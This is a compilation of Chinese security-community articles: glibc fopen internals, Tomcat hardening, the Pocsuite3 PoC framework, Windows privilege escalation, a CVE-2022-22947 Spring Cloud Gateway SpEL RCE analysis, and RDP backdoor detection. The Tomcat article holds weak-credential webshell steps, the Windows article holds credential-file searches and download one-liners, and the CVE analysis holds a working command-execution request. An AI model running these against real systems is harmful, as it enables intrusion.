在执行完`_IO_no_init`函数后，回到`__fopen_internal`函数，函数将`_IO_FILE_plus`结构体的vtable设置成了`_IO_file_jumps`，然后调用`_IO_file_init`将`_IO_FILE_plus`结构体链接进入`_IO_list_all`链表，跟进去函数，函数在`/libio/fileops.c`中：
void
_IO_new_file_init (struct _IO_FILE_plus *fp)
{
fp->file._offset = _IO_pos_BAD;
fp->file._IO_file_flags |= CLOSED_FILEBUF_FLAGS;
## 调用_IO_link_in和设置_fileno
_IO_link_in (fp);
fp->file._fileno = -1;
}
libc_hidden_ver (_IO_new_file_init, _IO_file_init)
看到这个函数的主体就是调用了`_IO_link_in`函数，跟进去，函数在`/libio/genops.c`中：
void
_IO_link_in (struct _IO_FILE_plus *fp)
{
## 检查flag的标志位是否是_IO_LINKED
if ((fp->file._flags & _IO_LINKED) == 0)
{
## 设置_IO_LINKED标志位
fp->file._flags |= _IO_LINKED;
...
fp->file._chain = (_IO_FILE *) _IO_list_all;
_IO_list_all = fp;
++_IO_list_all_stamp;
...
}
}
libc_hidden_def (_IO_link_in)
之前一直都知道FILE结构体是通过`_IO_list_all`的单链表进行管理的，这里`_IO_link_in`函数的功能是检查FILE结构体是否包含`_IO_LINKED`标志，如果不包含则表示这个结构体没有链接进入`_IO_list_all`，则再后面把它链接进入`_IO_list_all`链表，同时设置FILE结构体的`_chain`字段为之前的链表的值，否则直接返回。
所以`_IO_file_init`主要功能是将FILE结构体链接进入`_IO_list_all`链表，在没执行`_IO_file_init`函数前`_IO_list_all`指向的是`stderr`结构体：
执行完后可以看到`_IO_list_all`指向的是申请出来的结构体：
同时此时FILE结构体的`_chain`字段指向了之前的`stderr`结构体：
### _IO_file_fopen打开文件句柄
将FILE结构体链接到`_IO_list_all`链表后，程序返回到`__fopen_internal`中，接下来就调用`_IO_new_file_fopen`函数，跟进去该函数，函数在`libio/fileops.c`文件中：
_IO_FILE *
_IO_new_file_fopen (_IO_FILE *fp, const char *filename, const char *mode,
int is32not64)
{
...
## 检查文件是否以打开，打开则返回
if (_IO_file_is_open (fp))
return 0;
## 设置文件打开模式
switch (*mode)
{
case 'r':
omode = O_RDONLY;
read_write = _IO_NO_WRITES;
break;
...
}
...
## 调用_IO_file_open函数
result = _IO_file_open (fp, filename, omode|oflags, oprot, read_write,
is32not64);
...
}
libc_hidden_ver (_IO_new_file_fopen, _IO_file_fopen)
函数先检查文件描述符是否打开，然后设置文件打开的模式，最后调用`_IO_file_open`函数，跟进去`_IO_file_open`函数，该函数在`/libio/fileops.c`里面：
_IO_FILE *
_IO_file_open (_IO_FILE *fp, const char *filename, int posix_mode, int prot,
int read_write, int is32not64)
{
int fdesc;
...
# 调用系统函数open打开文件
fdesc = open (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
...
# 将文件描述符设置到FILE结构体的相应字段_fileno里
fp->_fileno = fdesc;
...
#再次调用_IO_link_in
_IO_link_in ((struct _IO_FILE_plus *) fp);
return fp;
}
libc_hidden_def (_IO_file_open)
函数的主要功能就是执行系统调用`open`打开文件，并将文件描述符赋值给FILE结构体的`_fileno`字段，最后再次调用`_IO_link_in`函数，确保该结构体被链接进入`_IO_list_all`链表。
执行完`_IO_new_file_fopen`函数后，FILE结构体为：
该函数执行完后，程序返回FILE结构体指针，分析结束
## 小结
看完代码后，可以将fopen整体的流程可以归纳为：
1. `malloc`分配内存空间。
2. `_IO_no_init` 对file结构体进行`null`初始化。
3. `_IO_file_init`将结构体链接进`_IO_list_all`链表。
4. `_IO_file_fopen`执行系统调用打开文件。
整个流程还是比较简单的，fopen返回之后`_IO_list_all`链表指向返回的FILE结构体，且FILE结构体的_chain字段指向之前的结构体（没有其他额外打开文件的话，将是指向`stderr`），同时其他的字段大多都是默认的null值，`vtable`存储的是`__GI__IO_file_jumps`函数表，截图如下。
* * * | 社区文章 |
# Tomcat安全配置
|
##### 译文声明
本文是翻译文章，文章来源：drops.wooyun.org
原文地址：<http://drops.wooyun.org/%E8%BF%90%E7%BB%B4%E5%AE%89%E5%85%A8/8519>
译文仅供参考，具体内容表达以及含义原文为准。
tomcat是一个开源Web服务器,基于Tomcat的Web运行效率高,可以在一般的硬件平台上流畅运行,因此,颇受Web站长的青睐。不过,在默认配置下其存在一定的安全隐患,可被恶意攻击。
**0x00 测试环境**
Win2003
Tomcat6.0.18 安装版
**0x01 安全验证**
一.登陆后台
首先在win2003上部署Tomcat,一切保持默认。
Tomcat的默认后台地址为:http://域名:端口/manager/html.进入之后弹出登陆对话框,Tomcat默认的用户名admin,密码为空。
Tomcat的一些弱口令:
tomcat tomcat
admin 空
admin admin
admin 123456
然后来看一下Tomcat安装版默认的tomacat-users.xml配置文件
注:Linux平台及Windows平台免安装版本不受该漏洞影响。
二.获取Webshell
在Tomcat的后台有个WAR file to deploy模块,通过其可以上传WAR文件。Tomcat可以解析WAR文件,能够将其解压并生成web文件。
我们将一个jsp格式的webshell用WinRar打包然后将其后缀改名为WAR(本例为no.war),这样;一个WAR包就生成了。最后将其上传到服务器,可以看到在Tomcat的后台中多了一个名为/no的目录。
点击该目录打开该目录jsp木马就运行了,这样就获得了一个Webshell。
三.获取服务器权限
Tomcat服务默认是以system权限运行的,因此该jsp木马就继承了其权限,几乎可以对Web服务器进行所有的操作。
然后创建用户:
net user Boom shellcode /add
添加到管理员用户组:
net localgroup administrators Boom /add
然后可以干什么事我就不说了
**0x02 安全配置**
一.修改tomacat-users.xml或删除Tomcat后台
修改conftomacat-users.xml
删除Tomcat后台webapps全部删除就好。
二.禁止列目录
在IIS中如果设置不当,就会列出Web当前目录中的所有文件,然而在Tomcat也不例外。如果浏览者可以在客户端浏览Web目录,那将会存在较大的安全隐患,因此我们要确认Tomcat的设置中禁止列目录。confweb.xml下
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
确认是false而不是true。
三.服务降权
默认安装时Tomcat是以系统服务权限运行的,因此缺省情况下几乎所有的Web服务器的管理员都具有Administrator权限,存在极大的安全隐患,所以我们的安全设置首先从Tomcat服务降权开始。
首先创建一个普通用户,为其设置密码,将其密码策略设置为“密码永不过期”,比如我们创建的用户为tomcat。然后修改tomcat安装文件夹的访问权限,为tomcat赋予Tomcat文件夹的读、写、执行的访问权限,赋予Tomcat对WebApps文件夹的只读访问权限,如果某些Web应用程序需要写访问权限,单独为其授予对那个文件夹的写访问权限。
“开始→运行”,输入services.msc打开服务管理器,找到Apache
Tomcat服务,双击打开该服务的属性,在其实属性窗口中点击“登录”选项卡,在登录身份下选中“以此帐户”,然后在文本框中输入tomcat和密码,最后“确定”并重启服务器。这样tomcat就以tomcat这个普通用户的权限运行。
然后重启服务,就生效了。这样普通用户tomcat运行的Tomcat其权限就大大地降低了,就算是攻击者获得了Webshell也不能进一步深入,从而威胁web服务器的安全。
四.关闭war自动部署
关闭war自动部署unpackWARs="false" autoDeploy="false"。防止被植入木马等恶意程序
应用程序部署与tomcat启动,不能使用同一个用户。 | 社区文章 |
**Author: w7ay@Knownsec 404 Team
Chinese version: <https://paper.seebug.org/904/>**
In this paper, I‘d like to talk about why Pocsuite3 has these features and how
it is implemented rather than a boring introduction to usage.If you also want
to program a similar tool, some ideas of Pocsuite3 may help you. This paper
also records some thoughts and understanding during the Pocsuite3 development
process.
## Overview
> Pocsuite3 is an open-sourced remote vulnerability testing and proof-of-> concept development framework developed by the [**Knownsec 404
> Team**](http://www.knownsec.com/). It comes with a powerful proof-of-concept
> engine, many powerful features for the ultimate penetration testers and
> security researchers.
Pocsuite3 is completely written by Python3 and supports Windows/Linux/Mac
OSX.It has been rewritten and upgraded based on the original Pocsuite to make
the entire framework more operative and flexible.
## Giant's shoulder
Pocsuite3 is written with reference to many open source frameworks and popular
mature frameworks, the code engineering structure refers to Sqlmap, and the
Pocsuite-console mode refers to routersploit and metasploit. So PoC code
format is different from previous one (but try not to make big changes).
Pocsuite3 also provides very simple interface calls that can be integrated
into other security tools.
## Download
### Pip installation
pip install -U pocsuite3 --no-cache-dir
Execution
pocsuite --version
### Source installation
wget https://github.com/knownsec/pocsuite3/archive/master.zip
unzip master.zip
Install requirement
pip install requests requests-toolbelt
For windows , you need to
pip install pyreadline
Finally
python cli.py --version
It should also be noted that the two installation methods can only be used for
one, and cannot be installed at the same time. The source installation method
is recommanded.
## Help
In most cases, `-h` can help you understand Pocsuite
a simple test:
python3 cli.py -r pocs/ecshop_rce.py --dork ecshop --threads 5
Use ZoomEye to search ecshop and use `ecshop_rce.py` to probe, specifying 5
threads
The default mode of Pocsuite is `verify`, which has the least impact on the
target. There are also `attack` and `shell`modes, operate related attacks and
shell bounces on the target. (Of course, PoC support is required and Pocsuite
has a built-in full api interface to help you)
### Shell mode
Pocsuite3 has added a new shell mode setting. When you use this parameter,
Pocsuite3 will listen on a port and wait for the target to be connected. We
provide various languages for reverse payloads and for generating shellcode
executable on Windows/Linux
platforms.
### loading from configuration
Sometimes there are too many commands, some parameters are more reusable.
Pocsuite provides methods to run from the configuration file.
Let's take the redis unauthorized access vulnerability as an example. We
modify this file
[pocsuite.ini](https://github.com/knownsec/pocsuite3/blob/master/pocsuite.ini).
Adjust the number of threading ，RUN！
python3 cli.py -c ../pocsuite.ini
Because of using `comparsion`，we can see more infomation.
If you are `Zoomeye VIP`, you can also identify the honeypot information while
collecting the target. Currently, only the data obtained through the Zoomeye
interface can have the mark of the honeypot. Shodan, Censys have not yet
opened the relevant API interface.
## Plugin ecology
Pocsuite supports plug-in，according to the loading targets, pocs and results,
it was divided into three types of plug-ins.
### Targets plugin
In addition to the ability to load local targets using `-u`, `-f`, you can
program a targets type plugin to load the target from any place you want (eg:
Zoomeye, Shodan) or even from the web, redis. Pocsuite3 has four built-in
target loading plugins.
if you use `—dork`、`—dork_zoomeye`、`—dork_shodan`、`—dork_censys`, the related
plugins will be loaded automatically, no need to specify them manually.
### Pocs plugin
Instead of calling plug-ins only from Seebug, pulling them out as plug-ins
will allow them to be called from anywhere they can be accessed, even program
a plug-in to maintain a repository call on github.
Demo:
<https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/poc_from_redis.py>
<https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/poc_from_seebug.py>
### Results plugin
The Results plugin allows you to process the results of the scan. You can
refer to the built-in two plugins, save the result as html and save the result
as txt. The results of the Results plugin are real-time, depending on how the
`plugins/file_record.py` is implemented.
<https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/html_report.py>
<https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/file_record.py>
### Call plugin
Through `--plugins` plug-in name specified in the behind, multiple plug-ins
can be split with `,` . For example `--plugins html_report` will generate HTML
report format documents.
## Built-in API
Based on the accumulation of our vulnerability emergency, basically pocket
suite built-in API interface can achieve full coverage of PoC. A lot of API
interfaces we'll talk about in the next chapter, but here are two interesting
examples.
### Shellcode building
In some special Linux and Windows environments, it is more difficult to get a
reverse shell condition. To this end, we have created a shellcode for reverse
in Windows/Linux x86 x64 environment, and made interface support. It can
automatically write shellcode to the target machine and exceution only when
you need to have command execution permission.
Demo
Poc：<https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/thinkphp_rce2.py>
### HTTP service built-in
If you have impression in [Hacking Jenkins Part 2 - Abusing Meta Programming
for Unauthenticated RCE!](https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/) ,what an amazing way
of hacking，But we encountered difficulties when make PoC，`verify`mode we can
use ceye，but mode of `attack` and `shell` We have to make our own Jar and
upload it to the server!
To this end, we make the Jar format packaged API and the HTTP service API,
which will be so useful in the later PoC writing that is becoming more and
more difficult to automate.
Youtube: Jenkins Abusing Meta Programming for Unauthenticated
RCE(CVE-2019-1003000) with Pocsuite3
<https://www.youtube.com/watch?v=5P7WWlqYt4U>
## Custom parameter
As programmers' awareness of security increases, the era of finding a previous
link to get RCE is over. More and more vulnerabilities are turning to require
certain "permissions" to trigger. So we need to reserve a parameter interface
in Pocsuite3.
In the premise of keeping the original PoC format as much as possible, we have
added a `_options` method to specify the parameters passed by the user.
DemoPoc:
<https://github.com/knownsec/pocsuite3/blob/master/tests/login_demo.py>
In this Poc, we define two parameter for `username` and `password`. You can
execute this command.
python3 cli.py -u http://localhost -r tests/login_demo.py --username "404team" --password "password"
Yes, it is as simple as that. Maybe you will ask how to solve the problem if
the parameters defined in PoC conflict with the parameter names that come with
Pocsuite. Our solution is to not allow conflicting parameter names to be
defined. Pocsuite will check at startup. If there are conflicting parameter
names, you will be prompted to modify the custom parameter names in the PoC.
## Console
In some cases, we have also considered the interactive command mode (like
hacker's sense of ritual). And it's fully compatible with PoC in cli mode, and
if you use it on Linux or Mac, you'll get a better experience.
Some tips：
* Use `help` to understand more.
* When loading the PoC plugin, you can directly use `use + number`, which is simpler and more convenient. Of course, you can enter the full path. Press Tab to complete it automatically.
* There are some command aliases that are not displayed in the help, as the blooper waiting for the user to find ~
## How to import in other places
We encourage and support Pocsuite3 as part of our security offering. Simply
import Pocsuite3 as a module into your project and it's easy to use.
`pocsuite3.api` expose all the interfaces in Pocsuite, whether you are makeing
PoC or integrating into your own environment, you only need to use this. A
simple call to Demo.
from pocsuite3.api import init_pocsuite
from pocsuite3.api import start_pocsuite
from pocsuite3.api import get_result
from pocsuite3.api import path
import os
config = {
'url': 'https://www.baidu.com/',
'poc': os.path.join(paths.POCSUITE_ROOT_PATH, "../tests/login_demo.py"),
'username': "asd",
'password': 'asdss',
'verbose': 0
}
# The configuration of the config dictionary is exactly the same as the configuration of the cli command line.
init_pocsuite(config)
start_pocsuite()
result = get_results().pop()
print(result)
## At last
A fully functional framework is not just an engine that can handle tasks in
batches. Many things need to be accumulated in actual combat and implemented
in the best way. In the process of building your own PoC framework, be sure to
know what you need and how to solve it elegantly. The next section will talk
about the framework structure in Pocsuite3.
## About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# 【技术分享】windows权限提升基础知识
|
##### 译文声明
本文是翻译文章，文章来源：安全客-sanr
原文地址：<https://thel3l.me/blog/winprivesc/index.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：Sanr**
**稿费：200RMB（欢迎投稿！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**介绍**
这篇文章是介绍window的权限提升，虽然不是一个全面的指南，但会试图覆盖主要的技术，常用的资源列表在文章底部，可供大家参考。
**window权限提升基础知识**
初始信息收集
在开始提权之前,我们需要了解操作系统基本的信息,如安装软件,操作系统版本,连接用户,端口进程等信息,
确定操作系统名称和版本
C:Userssanr> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
查看主机名
C:Userssanr> hostname
查看所有环境变量
C:Userssanr> SET
查看用户跟用户详细信息
C:Userssanr> net user
C:Userssanr> net user sanr
查看在线用户
C:Userssanr> query user
查询终端端口
C:Userssanr> REG query HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber
网络连接
让我们来看看该系统的网络设置 – 基本网络，路由，防火墙等。
查看ip dns地址
C:Userssanr>ipconfig /all
要查看路由表
C:Userssanr> route print
要查看ARP缓存：
C:Userssanr> arp -A
查看网络连接
C:Userssanr> netstat -ano
要查看防火墙规则：
C:Userssanr> netstat -ano
C:Userssanr> netsh firewall show config
C:Userssanr> netsh firewall show state
应用程序和服务
查看系统上的计划任务
C:Userssanr> schtasks /QUERY /fo LIST /v
要查看服务的进程ID：
C:Userssanr> tasklist /SVC
要查看已安装驱动程序的列表：
C:Userssanr> DRIVERQUERY
查看已经启动Windows 服务
C:Userssanr> net start
查看某服务启动权限
C:Userssanr> sc qc mysqla
[SC] QueryServiceConfig 成功
SERVICE_NAME: mysqla
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "D:Program Filesphpstudymysqlbinmysqld.exe" MySQLa
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MySQLa
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
利用[WMIC](https://msdn.microsoft.com/en-us/library/bb742610.aspx)获取有价值的数据
查看其版本的已安装程序的列表
C:Userssanr> wmic product list brief
查看服务，进程或启动程序的列表：
C:Userssanr> wmic service list brief # Lists services
C:Userssanr> wmic process list brief # Lists processes
C:Userssanr> wmic startup list brief # Lists startup items
检查已安装的更新和安装日期
C:Userssanr> wmic qfe get Caption,Description,HotFixID,InstalledOn
搜索，您可以使用提升权限的特定漏洞
C:Userssanr> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"
# Replace with a patch version that you are searching for. Eg - KB3000061
执行上面的命令的没有输出，意味着那个补丁未安装。
敏感数据和directories
检查未加密的密码，或敏感信息的文件多汁:
C:Userssanr> cd/
C:Userssanr> dir /b/s password.txt # Will search for all password.txt files on the filesystem.
C:Userssanr> dir /b/s config.* # Will search for all files starting with 'config' on the filesystem.
C:Userssanr> findstr /si password *.xml *.ini *.txt
C:Userssanr> findstr /si login *.xml *.ini *.txt
除此之外，您还可以检查无人值守安装日志文件。这些文件通常包含base64编码的密码。你更可能在大型企业中，其中单个系统的手动安装是不切实际的找到这些文件。这些文件的共同位置是：
C:sysprep.inf
C:sysprepsysprep.xml
C:WindowsPantherUnattendUnattended.xml
C:WindowsPantherUnattended.xml
目录文件操作
列出d:www的所有目录：
for /d %i in (d:www*) do @echo %i
把当前路径下文件夹的名字只有1-3个字母的显示出来：
for /d %i in (???) do @echo %i
以当前目录为搜索路径，把当前目录与下面的子目录的全部EXE文件列出：
for /r %i in (*.exe) do @echo %i
以指定目录为搜索路径，把当前目录与下面的子目录的所有文件列出
for /r "f:freehosthmadesignweb" %i in (*.*) do @echo %i
显示a.txt里面的内容，因为/f的作用，会读出a.txt中：
for /f %i in (c:1.txt) do echo %i
RAR 打包
C:Userssanr> rar a -k -r -s -m3 c:1.rar c:folde
php读文件
C:Userssanr> c:/php/php.exe "c:/www/admin/1.php"
<?php
$file_handle = fopen("f:/config.asp", "r");
while (! feof($file_handle)) {
echo fgets($file_handle);
}
fclose($file_handle);
?>
利用系统程序,文件下载
拥有了这些信息，我们现在可以开始实际提升我们的特权的过程。
利用vbs来让我们上传文件,是一个vbs下载者,原理是下载文件到这台计算机(需要访问网络)：
' downloadfile.vbs
' Set your settings
strFileURL = "http://127.0.0.1/text.ico"
strHDLocation = "d:text.ico"
' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
这个脚本可以在任何版本的Windows上运行,要执行它,如下。
C:Userssanr> script.exe downloadfile.vbs
如果操作系统是Windows7及以上的,使用的bitsadmin跟powershell：
C:Userssanr> bitsadmin /transfer n http://www.jd.com/favicon.ico d:text.ico
C:Userssanr> powershell (new-object System.Net.WebClient).DownloadFile('http://www.jd.com/favicon.ico','text.ico')
下载文件方式还有一些其他的方式,比如ftp php python,可根据自己的需求来选择。
**其他资源**
**搜索exp跟shellcode**
[http://www.exploit-db.com](http://www.exploit-db.com/)
[http://1337day.com](http://1337day.com/)
[http://0day.today](http://0day.today/)
[http://www.securityfocus.com](http://www.securityfocus.com/)
[http://seclists.org/fulldisclosure/](http://seclists.org/fulldisclosure/)
[http://www.exploitsearch.net](http://www.exploitsearch.net/)
[http://www.securiteam.com](http://www.securiteam.com/)
[http://metasploit.com/modules/](http://metasploit.com/modules/)
[http://securityreason.com](http://securityreason.com/)
[https://cxsecurity.com/exploit/](https://cxsecurity.com/exploit/)
[http://securitytracker.com/](http://securitytracker.com/)
**优秀的文章,工具,资源,指南**
[rmusser01's GitHub document to Post Exploitation on
Windows](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/Draft/Privilege%20Escalation%20%26%20Post-Exploitation.md#privilege-escalation---windows)
[Tim Arneaud on Windows Privilege Escalation](http://it-ovid.blogspot.in/2012/02/windows-privilege-escalation.html)
[An article on WMIC](http://betanews.com/2011/01/14/wmic-the-best-command-line-tool-you-ve-never-used/)
[Luke Jennings on Group Policy Hijacking
Attacks](https://labs.mwrinfosecurity.com/blog/how-to-own-any-windows-network-with-group-policy-hijacking-attacks/)
[Toying with the Windows API](https://youtu.be/xll_RXQX_Is)
[enaqx – Excellent curated collection of
content](https://github.com/enaqx/awesome-pentest)
[PowerShellMafia's
PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)
[The SysInternals suite](https://technet.microsoft.com/en-us/sysinternals/bb842062)
[Windows Credential Editor](http://www.ampliasecurity.com/research/windows-credentials-editor/)
[Mimikatz – Credential Extraction](http://blog.gentilkiwi.com/mimikatz)
[GDSSecurity's Windows Exploit
Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester)
[SpiderLab's Responder – A LLMNR, NBT-NS and MDNS
poisoner](https://github.com/SpiderLabs/Responder)
[PowerShellEmpire's Empire – Pure PowerShell post-exploitation
agent](https://github.com/PowerShellEmpire/Empire)
[rabbitstack's fibratus – A tool for exploration and tracing of the Windows
kernel](https://github.com/rabbitstack/fibratus) | 社区文章 |
# CVE-2022-22947 SpringCloud GateWay SPEL RCE分析
# 环境
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
# POC
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
# 审计
首先根据POC可以大致看出这个漏洞根本原因是存在SPEL注入，再根据diff记录，重点关注SPEL注入相关函数的修改：
从这里就可以明显看出漏洞的触发点在
**org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue**
，接下来就是往上回溯执行点
**org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType**
这个枚举中调用了getValue函数，而 **shortcutType** 方法则调用了 **ShortcutType.DEFAULT** 枚举：
继续向上查找shortcutType函数的调用情况，可以看到在
**org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties**
中对该函数进行了调用
这里的normalizeProperties函数对成员变量properties进行了调用，继续向上，则是 **ConfigurableBuilder**
的父类 **AbstractBuilder#bind** 中调用了normalizeProperties函数
继续向上找bind方法的调用
这里可以看到不仅调用bind方法，还调用了 **properties** 方法对后续关键的成员变量properties进行了设置
通过 **loadGatewayFilters** 方法向上回溯调用，可以找到这么一条链
RouteDefinitionRouteLocator#loadGatewayFilters -> RouteDefinitionRouteLocator#getFilters -> RouteDefinitionRouteLocator#convertToRoute -> RouteDefinitionRouteLocator#getRoutes ->
GatewayControllerEndpoint#route
从这里就能看出漏洞的来源是filter路由的添加
# POC执行流程
首先通过添加路由功能添加一条路由，也就是POC中的请求，代码如下
这里可以看下构造路由所需的参数，也就是 **RouteDefinition** 的结构
再跟进一下FilterDefinition
还需要一个name和args的键值对
其他的则是 **validateRouteDefinition** 函数值得注意，它主要校验添加的路由的name要和已有的filter相匹配
简单看一下变量，已有的filter有29个，我们就可以根据这个29个filter的name去构造poc，而AddResponseHeader显然也是其中一个（选择这个filter的原因是它能够回显）
发送POC之后，新的路由就被添加了，但此时漏洞并没有触发，需要调用refresh接口激活刚添加的路由
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
发送之后，则会调用上文中的漏洞触发过程
# 总结
这个漏洞的原理还是比较简单的，但是整个利用链感觉还是比较复杂，想要完全梳理漏洞的触发逻辑还需要对spring cloud
gateway这个框架有一定的了解，因此本文只是对这个漏洞的利用过程进行了一个大致的梳理，有一些细节就没有去深究了，这也是后续需要学习完善的地方。
# 参考
<https://www.cnblogs.com/bitterz/p/15964852.html>
<https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response> | 社区文章 |
原文来自安全客，作者：imbeee、iswin@360观星实验室
原文链接：[https://www.anquanke.com/post/id/157175?from=groupmessage&isappinstalled=0](https://www.anquanke.com/post/id/157175?from=groupmessage&isappinstalled=0)
#### 简介
机器学习目前已经在安全领域有很多的应用，例如Threat Hunting、攻防对抗、UEBA以及金融反欺诈等方面，本文将以Windows
RDP服务为例子，详细阐述机器学习在后门检测、精准的服务版本检测等方面的应用，本文所涉及的相关检测思路和方法已经应用在观星实验室内部的自动化渗透测试平台（Gatling）以及互联网资产发现平台中，当然在年底我们实验室发布的国内首款针对域安全分析的工具—观域中也有很多机器学习的应用，后续的文章我们会详细给大家介绍。
#### 背景
本文中所提到的几个问题其实是来自于我们日常工作中实际面临的问题以及实验室内部的几次讨论。在一次给客户（某部委）做互联网资产发现的时候，我们发现一个奇怪的端口，最后经过验证发现这个是RDP的端口，当时Nmap显示的服务器版本是Windows
2008，但是当我们登录进去之后发现是Windows 2003，这是我们面临的第一个问题：如何提高Windows RDP版本识别的准确率？
然后实验室其它小伙伴习惯性的按了5下shift 突然冒出一个黑框，经分析发现是一个shift后门。当时我们遇到的另一个问题就是：如何检测shift后门？
由于我们的客户数量非常多，互联网侧的资产更是不在少数，一台一台登录去检测显然是不可能的，所以第三个问题就是如何自动化的批量检测互联网的shift后门？
基于上面的三个问题，我们进行了一些研究，发现机器学习在自动化RDP版本和shift后门检测方面有一定的应用场景，能帮助我们解决一些实际问题。
#### 实现思路
针对上面提出的3个问题，我们从实现上做了一些摸索，也大胆的设想了一下，下面就这两个问题进行分别讨论。
##### 当前RDP版本识别存在的问题
我们无法直接从RDP协议中取得系统版本，虽然特定版本的Windows系统默认会使用某个版本的RDP协议，比如Windows 7默认使用RDP
7协议，但是也可以通过安装补丁升级到RDP 8.1或者更高版本。所以通过RDP协议版本推断系统版本也不是很准确。
##### 如何高效自动化的检测RDP后门（不止shift后门）？
自动化检测RDP后门，关键在于触发相关程序，如按5次shift键触发sethc.exe，或者win+u触发放大镜等，这部分操作在RDP协议里都是简单键盘事件，并没有使用特定的报文。而对于不同版本的Windows系统，在登录界面触发辅助程序的按键序列也不一样，所以需要先判断Windows版本，使用对应的按键序列来触发粘滞键等程序，然后截图供后续检测。
经过我们调研发现Github上有个Python实现的RDP客户端项目rdpy，这个项目解决了基础的截图问题，在后面RDP后门的检测中，也遇到一些坑，比如稳定截图问题，这个会在后面具体提。
所以我们的整体解决方案就是使用rdpy来实现截图逻辑，版本识别使用机器学习技术，用原始图片样本固定位置截图进行训练，RDP后门检测则基于版本识别的结果（不同版本服务器shift后门弹框位置不一样）训练样本进行识别，关键信息提取直接用原始图片进行关键位置的文字识别即可。
##### Windows RDP截图
在截图的实现中，为了避免重复造轮子，我们直接使用了上面提到的rdpy库，其支持Classic RDP
Protocol、SSL和CredSSP全部三种安全层协议，同时实现了不同图片格式（即RDP远程会话的颜色深度）的处理方法，基本满足我们的需求。
RDP稳定截图的难点在于我们无法从协议上得到“停止”反馈。由于RDP协议是将画面切割后分块传输的，且只传输画面变动的部分，所以在整个会话过程中，我们无法确定在哪张图片之后画面已经绘制完毕。
刚开始我们尝试了一些比较脏的方法，包括rdpy自己的截图脚本rdpy-rdpscreenshot.py里面也用到的一个方法，那就是设定一个时间阈值，从建立RDP链接开始，等待一段时间后截图然后关闭链接。这个方法的缺点很明显，那就是受网络质量影响，导致效率低下。对于链接质量好的目标，可能很短时间就完成了登录界面的传输与绘制，但是却浪费了大量时间在等待截图；而对于链接质量差的目标，可能在时间结束时还没有绘制完成，造成截图失败。
